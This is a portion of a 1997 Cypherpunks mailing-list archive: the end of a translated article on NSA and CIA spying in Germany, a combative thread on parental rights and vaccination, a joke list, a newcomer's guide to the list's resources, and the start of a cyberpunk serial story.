still more than 1,000 eavesdroppers are working in the huge complex,
according to BND estimates.  Estimated 150 of them are directly from
the NSA that does the controlling and sets the tasks.

In spite of many inquiries, Hortensie III has strictly denied to
exchange all information from "non-military intelligence".  The BND,
they argue, can offer nothing of comparable value.

But it probably is more about not telling the Germans what they really
do.  If American and German security experts are right, European
companies are systematically spied out from Bad Aibling.

Years ago, US president Bill Clinton decreed American agencies to
larger commitment in economic espionage.  When the European airplane
giant Airbus Industries, of which Germany holds 37.9%, was competing
for a large Saudi Arabian contract with two US groups, the NSA
intervened.  It intercepted all faxes and phone conversations between
Airbus and the Saudis.  So, the Americans knew their opponent and
their offers were unbeatable - after all the orders valued at six
billion dollars.

While the British and French to a certain extend respect Germany's
souvereignty, the Americans, who had brought up the BND, behave like a
victor power.  They insist on supplementary agreements on intelligence
cooperation with "the allied forces".  Thus, the Germans must respect
"necessities of military safety" of Nato contingents here.  There is
much room for secretive manners in German territory.

In its "Westport" office in the East of Munich, the CIA until now
maintains a so-called inquiry office.  The Americans ask
asylum-seeking refugees and emigrants from whom they expect
informaition to come to Munich from all Germany.  Pro forma, the BND
is asked for endorsement, but the talks usually take place without
German participation, and the BND does not learn about possible CIA
recruitments.

The Americans are questioning deserted Russian soldiers, war refugees
from former Yugoslavia, and asylum-seekers from the Near East.  The
VIPs of them are offered asylum in the USA.  Even applicants from
overseas are brought to the experts in Munich for interrogation.

For a long time, German politics have ignored the activities of the
rogue agency.  In autumn 1994, the Chancellor's Office installed a
working group, strictly confidential of course, to get the American
and other friendly agencies under control.

Three ministries and three intelligence agencies were sitting at the
table, headed by Rudolf Dolzer, professor of international law, at
that time Head of Unit in the Chancellor's Office.  "What they are
doing here is not possible", Dolzer got exited.  "They must comply
with law and oder."

The group boldly planned to prohibit the Americans from interrogating
asylum-seekers without German participation, in Bad Aibling BND
specialists should watch the NSA, recruiting sources should be
prohibited.  After all - they concluded - espionage activities also
from friendly states are not politically protected.

In 1995, their will of protection suddenly vanished.  Distances
between meetings grew longer, finally the Chancellor's Office didn't
send out invitations any more.  Above all, the BfV that already had
created lists with names of suspicious agents was disappointed.
"Someone on the very top must have pulled the plug", someone from an
intelligence agency says.

It is dubious if the case of CIA agent Humphries will cause with the
Americans to change their policy.  At least, friendship with America
means a big deal to Helmut Kohl who does not consider the intelligence
business especially important.

The Chancellor is not even scared by the sinister NSA.  He does have
telephones that are guaranteed to be wiretap-proof.  Even when he is
on vacation at the Wolfgangsee [in Austria], the BND always installs a
device which not even the NSA can crack.  But the secure devices have
one important drawback: First the partner has to stop speaking before
you can speak yourself.

That is why the Chancellor to the displeasure of the security people
prefers the old telephone - a friend trusts a friend.

[End]

Thanks to anonymous.

For earlier reports on US spying in Germany:

http://jya.com/despon.txt
http://jya.com/ciaami.txt
http://jya.com/really.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Mar 1997 20:09:05 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703181918.TAA17082@mailhub.amaranth.com>
Message-ID: <332F6677.144C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> >Suppose X chooses to innoculate their kids and Y chooses not to innoculate
> >their kids against, say, polio; and Y's kids get it. They're not going to
> >give it to someone whose parents chose to innoculate them. (This is a kind
> >of borderline example, not unlike circumcision.  The individual affected
> >by the choice is too young to understand what it's all about, but doesn't
> >want to be stuck with a needle. Why are the parents more qualified to make
> >decisions for him than the state?)

> The issue of who is more qualified is irrelevent.
> The parents are the ONLY ones who have a right to determin the welfare of
> their childern. If the parents determin that the risks of reaction to the
> innoculation outways the benifits that choice is their's and their's alone.

I inherited three kids (9, 11, and 13) in November, and am starting
to get used to the schools' intrusions just now.  So far, I've
prepared one form for the kids to hand to the teacher when there
is an off-campus trip scheduled.  Like who's driving, are they
certified by the school board, chaperones (who are they), etc.

Recently they did a surprise dental inspection of the youngest kid.
I'm preparing a form to tell the schools that any certification they
require on the kids as to health, etc. will be provided by our
doctors, not theirs, so the kids can skip their inspections.
So far I haven't met with any serious opposition, but who knows?

(I'm informing them that I'm a Puritan, and follow very strict
religious practices)

Today's Long Beach paper had an extensive article on "pregnancy
counciling support groups" for sixth grade girls (in Santa Ana?),
and the "support groups" were mandatory. Religious fundamentalists
are certain to hit the ceiling on this one - not just the increase
in sexual awareness aspect, but the hoodoo-voodoo aspect of a
"support" group that smacks of New Age practices (their article,
not mine).  According to the article, the groups have an amazing
record, i.e., pregnancies down by 80% or more among the teenage girls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 18:55:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Humor] Dogs and Computers
In-Reply-To: <9703182242.AA18533@banshee.BASISinc.com>
Message-ID: <332F4C3C.73B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


The Top 20 Reasons Dogs Don't Use Computers


[20] Can't stick their heads out of Windows '95.

[19] Fetch command not available on all platforms.

[18] Hard to read the monitor with your head cocked to one side.

[17] Too difficult to "mark" every website they visit.

[16] Can't help attacking the screen when they hear "You've Got Mail."

[15] Fire hydrant icon simply frustrating.

[14] Involuntary tail wagging is dead giveaway they're browsing
www.pethouse.com instead of working.

[13] Keep bruising noses trying to catch that MPEG frisbee.

[12] Not at all fooled by Chuckwagon Screen Saver.

[11] Still trying to come up with an "emoticon" that signifies
tail-wagging.

[10] Oh, but they WILL... with the introduction of the Microsoft
Opposable Thumb.

[09] Three words: Carpal Paw Syndrome

[08] 'Cause dogs ain't GEEKS! Now, cats, on the other hand...

[07] Barking in next cube keeps activating YOUR voice recognition
software.

[06] SmellU-SmellMe still in beta test.

[05] SIT and STAY were hard enough, GREP and AWK are out of the
question!

[04] Saliva-coated mouse gets mighty difficult to manuever.

[03] Annoyed by lack of newsgroup, alt.pictures.master's.leg.

[02] Butt-sniffing more direct and less deceiving than online chat
rooms.

and the Number 1 Reason Dogs Don't Use Computers...

[01] TrO{gO DsA[M,bN HyAqR4tDc TgrOo TgYPmE WeIjTyH P;AzWqS,.


                 |
            ,@ __|-.
       ,_~o/   \/  |    Through the router, off the switch,
         |/        |    down the cable, nothing but net.
        / >        |
       '  `        |                   The @Home slam dunk
                   |
 __________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 19:41:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <v03007802af53b634ded8@[207.167.93.63]>
Message-ID: <1ais4D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
>
> Igor asked a one-line question, and I gave a one-line answer. I don't
> intend to debate libertarian or ethical theory here.

You don't like Russians, do you?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 18:55:08 -0800 (PST)
To: Mark Hedges <hedges@rigel.infonex.com>
Subject: Re: ADV Weekly Transcripts
In-Reply-To: <199703182300.PAA22811@rigel.infonex.com>
Message-ID: <332F5530.7E76@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark Hedges wrote:
>  America's births were at 2.1 per female.
> Some nonindustrialized countries were as high as 7.4 per female,
> average. 
> 
> Most of my friends and lovers are of races other than white (my race),
> and I am proud of this fact. Their diverse experience brings to me
> stories and tales of foreign lifestyles from which I can learn.

  John Gilmore's envy of Dr. Vulis came from the fact that Dr. Vulis
was bringing 7.4 new riff-raff to the list, for every 2.1 crypto 
subscribers brought to the list by Gilmore.
  Thus Gilmore removed him from the list, in an attempt to limit the
diverse experience the riff-raff have to share via their stories and 
tales of riff-raff lifestyles from which we all can learn.
  Shame on Gilmore for his CypherPunk Supremacist philosophy which 
strove to inhibit the immigration of those from more unfortunate lists
where logic and reason were in short supply.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 18 Mar 1997 21:45:06 -0800 (PST)
To: " C  M" <cookies_monsters@hotmail.com>
Subject: Cypherpunks pointers
In-Reply-To: <199703152006.MAA18486@f4.hotmail.com>
Message-ID: <3.0.1.32.19970318213850.006169f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:06 PM 3/15/97 -0800, cookies_monsters@hotmail.com wrote:
>I came accross the "Cypherpunks" link and I wanted to know more? Can you tell
>me where to get more information. I have little clue as to what this outfit
>does. Thanks.

Sorry for the delay; it's been a busy week.  I'll forward you a couple of 
articles that have come out recently.  

The original Cypherpunks archive is on www.csua.berkeley.edu/cypherpunks,
which has good stuff though it hasn't been updated recently.
Tim May's Cyphernomicon is a great summary, available in one or more pieces.
Cypherpunks started as a discussion group, which became a mailing list,
for people interested in cryptographic and computer techniques for 
protecting privacy; if you can convince the government to pass laws 
protecting privacy, or refrain from passing laws attacking it,
you're only protected until the next Congresscritter or bureaucrat feels 
like writing a new law - but if you develop and publish software that
lets you protect your conversations with strong crypto, they're secure
until the laws of mathematics change (happens occasionally :-).
"Cypherpunks write code."  Cypherpunks also debug code - sometimes
your crypto software is only secure until the next implementation bug
gets found.  Some of the interesting work that cypherpunks have done
has been popularizing and enhancing PGP, developing remailers,
cracking 40-bit crypto and other weak government-imposed limits,
finding bugs in the Clipper chip, and finding bugs in Netscape and MSIE.
A perennial topic is digital cash, which is an important part of a
free economy in cyberspace, and many cypherpunks have either worked on,
or with, or around (:-) David Chaum's Digicash company; www.digicash.com.

Getting on the list - the list used to be on toad.com, but has
since migrated to several places, which will eventually be gatewayed together
into some joint mailing list.  cypherpunks-request@cyberpass.net
will point you to the information for cyberpass.net, which is probably
the mailbot majordomo@sirius.infonex.com.  cypherpunks-request@algebra.com
will another section, and alt.cypherpunks is a Usenet group.
Some related lists can be found at coderpunks-request@toad.com and
cryptography-request@c2.net.

Archives - AltaVista knows where the archives live....
Good places to look for software include ftp.ox.ac.uk and ftp.funet.fi.
ftp.pgp.net will pick a random non-US location that carries PGP.
www.pgp.com is PGP, Inc.'s US-based web site.  www.rsa.com has been 
known to carry interesting material as well.  John Young posts all
sorts of interesting news to the list; see www.jya.com.
Many strange things end up in the incoming directory on replay.com.
news://nntp.hks.net and infinity.nus.sg have also carried archives in the past.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Mar 1997 18:40:18 -0800 (PST)
To: "William H. Geiger III" <dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970318213953.007c9e80@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:11 PM 3/18/97 -0600, William H. Geiger III wrote:
*|-----BEGIN PGP SIGNED MESSAGE-----
*|
*|
*|In <9HHR4D12w165w@bwalk.dm.com>, on 03/18/97 at 06:21 AM,
*|   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
*|
*|
*|>camcc@abraxis.com (Alec) writes:
*|
*|>> Tim,
*|>>
*|>> There would be more room if your sig weren't so long. :->
*|
*|>Guys with short dicks use long sigs.
*|
*|>> As you know, every year there are a certain number of child deaths as a
*|>> result of reactions to state-mandated innoculations/vaccinations.  Gone
too?
*|>>
*|>> Perhaps the difference, or rationale, here is the possible spread of
disease
*|>> to others, rather than trying to protect the individual from himself.
*|
*|>Suppose X chooses to innoculate their kids and Y chooses not to innoculate
*|>their kids against, say, polio; and Y's kids get it. They're not going to
*|>give it to someone whose parents chose to innoculate them. (This is a kind
*|>of borderline example, not unlike circumcision.  The individual affected
*|>by the choice is too young to understand what it's all about, but doesn't
*|>want to be stuck with a needle. Why are the parents more qualified to make
*|>decisions for him than the state?)

*|
*|The issue of who is more qualified is irrelevent.
*|
*|The parents are the ONLY ones who have a right to determin the welfare of
*|their childern. If the parents determin that the risks of reaction to the
*|innoculation outways the benifits that choice is their's and their's alone.
*|

Not in every case do the parents have the right to determine what treatment
shall be performed or whether it shall occur at all. More often than not the
courts have allowed medical treatment for the child who is not able to
consent to such treatment for himself.

In many instances courts have stepped in to authorize blood transfusions for
children of Jehovah's Witnesses, who follow Biblical injunctions not to "eat"
blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has been under
societal and governmental attack for insisting on substituting healers for
medical teams even in cases of children afflicted by cancer accompanied by
apparently unbearable pain.

Parents most certainly are not the only ones to determine the welfare of
their children; society has assumed a significant role and typically moves to
protect the child from the parents or from the _beliefs_ of the parents.

Alec
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sOkt83+xSfQ=
=VTdX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Tue, 18 Mar 1997 19:40:34 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970318213953.007c9e80@smtp1.abraxis.com>
Message-ID: <Pine.SOL.3.92.970318213421.15452D-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


Yeah, children.  They are a hard thing for anarchy.  Looking
back, Bukharin, Lenin, didn't have much to say about children,
as people.  OTOH, since the workers at that time included children,
maybe the were justified in ignoring the issue and just robbing banks.
Where, then, there was no FDIC.:)
MacN
If the sarcasm isn't dripping, scuse me I tried.

> *|
> *|The parents are the ONLY ones who have a right to determin the welfare of
> *|their childern. If the parents determin that the risks of reaction to the
> *|innoculation outways the benifits that choice is their's and their's alone.
> *|
>
> Not in every case do the parents have the right to determine what treatment
> shall be performed or whether it shall occur at all. More often than not the
> courts have allowed medical treatment for the child who is not able to
> consent to such treatment for himself.
>
> In many instances courts have stepped in to authorize blood transfusions for
> children of Jehovah's Witnesses, who follow Biblical injunctions not to "eat"
> blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has been under
> societal and governmental attack for insisting on substituting healers for
> medical teams even in cases of children afflicted by cancer accompanied by
> apparently unbearable pain.
>
> Parents most certainly are not the only ones to determine the welfare of
> their children; society has assumed a significant role and typically moves to
> protect the child from the parents or from the _beliefs_ of the parents.
>
> Alec
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
>
> iQCVAgUBMy9R7SKJGkNBIH7lAQEngAP8DfkEN5VDUz1dN5Nu2gVYXP8+dXDicO0v
> MU9OtzGRY4pNiissfcnPZsDOBIa8TVFMUsZFiUG3LT4QWV695pER6GcdIHVQr5Ui
> KMTyKNBNiUxMm3p3VjxeaF3/xoqXlRINN8VNdv7uekHEsgeB3l/Aa54MpI4CvARY
> sOkt83+xSfQ=
> =VTdX
> -----END PGP SIGNATURE-----
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 20:37:39 -0800 (PST)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <88CE23A0B727D0118BB000805FD47524010C1FF8@RED-81-MSG.dns.microsoft.com>
Message-ID: <332F6C98.34CB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:

> From:   Declan McCullagh
> The short answer, perhaps, is that government should as a
> general rule adopt those policies that allow the greatest 
> freedom over the long term.
> .....................................................
 
> 'Government' is a coercive medium for effecting results; if everything
> could be accomplished by coercion, then it would rightly be expected
> that everything (everyone) should be always to be subject to coercion in
> order to have a smoothly running social machine.

  "When Hitler was Fuhrer, the trains ran on time."
  The government's efforts at coercion are often justified by raising
the dark spectre of the chaos/anarchy that will result from all of the
cogs not being in perfect alignment.
  Naturally, in this scenario, all cogs which are out of alignment are
defective, and therefore subject to 'adjustment' by various forms of
heat and hammering.

> But if everything (all the benefits that people expect from social
> arrangements) could be accomplished by coercion, we wouldn't be the kind
> of life forms that we are.   We would be the equivalent of "technology",
> subject to someone (else's) latest algorithmic program.

  I wouldn't be so certain that we aren't, if I were you.
  There are philosophies and spiritualities which proffer the view of
"man as a machine," in which our actions can be seen as much more
"mechanical" than most of us would care to admit.
  Of course, the obvious fallacy of this view is shown by the fact
that, were it true, our attitudes and actions would be controlled
by advertising and ten-second sound-bytes yanking at our emotions, 
rather than by the reason and logic that so clearly dominates our
society, as can be demonstrated with one's index finger and a
TV remote-control unit.

<flushing sound> ["Toto has left the building."]
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Verification message sender <verify@www.nytimes.com>
Date: Tue, 18 Mar 1997 21:18:09 -0800 (PST)
Subject: No Subject
Message-ID: <199703190519.AAA182696@content36a.advantis.com>
MIME-Version: 1.0
Content-Type: text/plain


To: 
From: verify@nytimes.com (New York Times subscription robot)
Reply-to: verify@nytimes.com
Subject: Welcome to The New York Times on the Web


Thank you for joining The New York Times on the Web community.

Your subscriber ID is   nifft
Your e-mail address is  cypherpunks@toad.com

Please save this message for future reference.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 18 Mar 1997 22:42:24 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703182356.XAA02032@mailhub.amaranth.com>
Message-ID: <199703190047.AAA02484@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199703182356.XAA02032@mailhub.amaranth.com>, on 03/18/97 at 08:39 PM,
   Alec <camcc@abraxis.com> said:


>Not in every case do the parents have the right to determine what
>treatment shall be performed or whether it shall occur at all. More often
>than not the courts have allowed medical treatment for the child who is
>not able to consent to such treatment for himself.

>In many instances courts have stepped in to authorize blood transfusions
>for children of Jehovah's Witnesses, who follow Biblical injunctions not
>to "eat" blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has
>been under societal and governmental attack for insisting on substituting
>healers for medical teams even in cases of children afflicted by cancer
>accompanied by apparently unbearable pain.

>Parents most certainly are not the only ones to determine the welfare of
>their children; society has assumed a significant role and typically moves
>to protect the child from the parents or from the _beliefs_ of the
>parents.

Just because the government subverts the RIGHTS of the parents does not
mean that the parents do not have those rights.

A parent is the sole person who has a *RIGHT* to determine the welfair of
their childern. You do not have that right, I do not have that right, the
government does not have that right. To beleive that the government should
"protect" a child from the beliefs of its parents is truly
FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).

I as a parent have the sole right to determine what religon to teach my
children, how to rase my children, how to teach my children, how to reward
my children and how to punish my children PERIOD.

Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
as they are quite out of place here.

"When the wants of society override the rights of the individule that
society must die" -- whgiii

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 18 Mar 1997 22:51:53 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <199703190057.AAA02562@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In, on 03/18/97 at 10:07 PM,
   Dale Thorn <dthorn@gte.net> said:


>William H. Geiger III wrote:
>>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>> >Suppose X chooses to innoculate their kids and Y chooses not to innoculate
>> >their kids against, say, polio; and Y's kids get it. They're not going to
>> >give it to someone whose parents chose to innoculate them. (This is a kind
>> >of borderline example, not unlike circumcision.  The individual affected
>> >by the choice is too young to understand what it's all about, but doesn't
>> >want to be stuck with a needle. Why are the parents more qualified to make
>> >decisions for him than the state?)

>> The issue of who is more qualified is irrelevent.
>> The parents are the ONLY ones who have a right to determin the welfare of
>> their childern. If the parents determin that the risks of reaction to the
>> innoculation outways the benifits that choice is their's and their's alone.

>I inherited three kids (9, 11, and 13) in November, and am starting to get
>used to the schools' intrusions just now.  So far, I've prepared one form
>for the kids to hand to the teacher when there is an off-campus trip
>scheduled.  Like who's driving, are they certified by the school board,
>chaperones (who are they), etc.

>Recently they did a surprise dental inspection of the youngest kid. I'm
>preparing a form to tell the schools that any certification they require
>on the kids as to health, etc. will be provided by our doctors, not
>theirs, so the kids can skip their inspections. So far I haven't met with
>any serious opposition, but who knows?

>(I'm informing them that I'm a Puritan, and follow very strict religious
>practices)

>Today's Long Beach paper had an extensive article on "pregnancy counciling
>support groups" for sixth grade girls (in Santa Ana?), and the "support
>groups" were mandatory. Religious fundamentalists are certain to hit the
>ceiling on this one - not just the increase in sexual awareness aspect,
>but the hoodoo-voodoo aspect of a "support" group that smacks of New Age
>practices (their article, not mine).  According to the article, the groups
>have an amazing record, i.e., pregnancies down by 80% or more among the
>teenage girls.

Well the best way to aviod all this is to "Home School". In the end they
will get a much better education and they woun't turn out to be lock-step
robots for the STATE.

This requires a two parent home though (politically incorrect these days)
and a wife with a few brain cells. :)

The next best thing is a private school but even they are being corrupted
by all this touchy feely crap. Still better than sending them to the
STATE'S reeducation centers.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 23:16:05 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190615.AAA00723@smoke.suba.com>
Message-ID: <332F8E2F.1D77@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
>         So, parents should be allowed to:
>         1) Beat their children on a daily basis, because it is good for them.
>         2) Refuse to educate their children _at all_ because Knowlege is the
>            devils work.
>         3) Not clothe their children at all beause God Will Provide.
>         4) Teach their children how to perform Oral, Anal, and "straight" sex
>            because they need to learn it someday?

  Mom? Is that you, mom? 
  Where did you go with that sailor?
-- 

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Mar 1997 01:20:48 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190047.AAA02484@mailhub.amaranth.com>
Message-ID: <332FAF09.CD3@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
>    Alec <camcc@abraxis.com> said:
> >Not in every case do the parents have the right to determine what
> >treatment shall be performed or whether it shall occur at all. More often
> >than not the courts have allowed medical treatment for the child who is
> >not able to consent to such treatment for himself.

> A parent is the sole person who has a *RIGHT* to determine the welfair of
> their childern. You do not have that right, I do not have that right, the
> government does not have that right. To beleive that the government should
> "protect" a child from the beliefs of its parents is truly
> FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).

As a person who was once a child in a very unhappy home (5 kids,
nobody talks to anyone else), I can testify that I would have been
willing at several points to take a chance with the State.

Would it have helped or hurt more?  I believe that would have depended
on knowing how much worse things would have gotten at home (some
homes get worse, some get better, some stay the same), and just how
bad it would have been under the State.  I think those are the issues,
but how are you gonna predict which is worse, unless you have some
real incriminating evidence against the parents?

On a related note, there's a valid point about the State raising
kids being not only unnatural, but leading to bad things preparing
the kids for a future statist society.  Just another factor as far
as I'm concerned, when the life and safety of a defenseless child
is in question.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 18 Mar 1997 23:25:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 1-2
Message-ID: <332F94CF.4646@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II 


WebWorld & the Mythical 'Circle
of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl
Publishing


Arnold


My name is Arnold, and I'm as sane as you are, probably
saner. But I'm sitting here listening to Jesus #1 argue with Jesus
#2, and you're not, so I'll resist the urge to try to convince
you that I don't belong in Nuthouse Number Nine, Looney Level
'Leven.

It's officially designated as the "Money Market
Psychiatric Auditing Facility". That's what the 'Keyholders'
call it. They are the people who get to go home at night. Half
of them are nuttier than Jesus #1, but they're towing the line,
preaching the party platform, so they have 'Level Two' classification
and they get special privileges. Like lording it over levels Three
through Eleven.

The Keyholders get crapped on by the rest of the
Fund'ers on the outside and when they come in for work they crap
on us-with interest. They're allowed DDC's, eCa$h Direct Debit
Cards, which they flash around on the inside every chance they
get, acting like they're god-almighty, but on the outside they
crawl around like worms, trying their best to act like 'Ca$hmen',
but getting their comeuppance when it comes time to pay and they
have to show their DDC.
Schultz used to be the biggest asshole among the current staff
of Keyholders, but I got him busted to Level Three last week,
so I'm finally gaining a bit of acceptance from the rest of the
inmates. It's taken a long time.

It's bad enough being sent for treatment in a facility
run by your own government (where you have at least a modicum
of social standing based on the Level you were downgraded from),
but I'm not a citizen of the Money Market Channel, so I don't
have any kind of peerage here.

I'm a Net'er, a citizen of the InterNet Global Village,
so on the outside I'm not subject to the laws of any of the 500
Channel Governments. 
At the end of Channel War III we got Armistice Agreements from
all 500 Channel Governments recognizing us as an independent Government,
with a one-time right to confer citizenship on the members of
our underground movement. In return, we restored control of the
transmission satellites back to their respective governments and
agreed not to proselytize among the other Channel Governments'
citizens. 
We also got free-roaming rights to all Transmission stations,
including the Nuclear Laser Moon Unit, in return dismantling our
Hackers Division and putting an article in the InterNet Bill Of
Rights banning computer hacking in any way, shape or form.

I can see you rolling your eyes, smiling smugly at
me. Another guy in Nuthouse Number Nine, claiming sanity, but
ranting and raving about an imaginary war that never really happened.
"Next," you're telling yourself, "he'll be telling
us old-wives tales about the 'Circle of Eunuchs' and claiming
he was actually a member."

I know Channel War III happened. I signed the Armistice
Agreement.

I was the Head Hacker.


Jonathan


The room started to spin, and Jonathan put his hand on the edge
of his desk, to steady himself. He realized that he had stopped
breathing, and he inhaled mightily, causing the room to spin even
more. After a few moments, the room stopped spinning, but Jonathan's
mind continued to remain enmeshed in a conflicting whirl of old
memories and new fears-all engendered by the receipt of a simple
CyberPost.

A CyberPost from the past. A hundred years in the past.

A CyberPost which had shown up on his personal GraphiCube this
morning, a century after being sent via an antiquated communications
mode which the Masters of Antiquity called email. A CyberPost
addressed to an anarchist organization that had been outlawed
for over a hundred years-the CypherPunks.

Jonathan had immediately, instinctively, hit the illegal kill-switch
on his ground-connection and booted his Telsa Snarf Barrier.
He had needed time to stop the room-and his mind-from spinning.
But how long had he been sitting here, motionless? GlobeNet Security
would be re-establishing his ground-connection in a matter of
minutes and he would have to have an answer ready for his cutting
of the ground-link to Headquarters.
Jonathan hastily saved the CyberPost to a disposable HydroCube
that he could swallow, if need be. He pulled an Insta-Log chip
of his own making out from under his seat and placed it online,
booting down the Telsa Snarf Barrier at the same time, just as
the GraphiCube launched an overlay of the Day Monitor, Rabin.

Rabin did not look happy.
"Third time this week, Jonathan, what's going on?",
Rabin's frown twitched with impatience. "If I have to put
you on report, I can guarantee that you can kiss your HomeWork
Privileges goodbye."

"I'm still working on that InfoWar Scrambler Mechanism for
GS-7, Rabin." Jonathan thought quickly, knowing that he was
skirting the edge of disaster. "Those damn wanna-be programmers
that you assholes keep hiring to keep your relatives happy don't
know the difference between a Test-Boot and a Transmit-Boot."

Jonathan paused, then added, "I don't need my head on a chopping
block because Headquarters thinks that I'm launching my own Channel
Revolution."

"Then file for Offline Work Authorization." Rabin snapped.

"Every goddamn time I work on this crap they feed me?"
Jonathan snapped right back at him. "I'm not supposed to
need to work off-line on this project. It's supposed to
arrive at my station in Test mode, Rabin, not in Nuke
Headquarters mode. Do you want me to run this shit from your
HomeStation, instead?"

Rabin laughed, for the first time, and glanced down at Jonathan's
Log File once again, confirming that he had killed a transmission
from the InfoWar Scrambler Mechanism.
"OK, Jonathan, I'll kill the report, but try to work on that
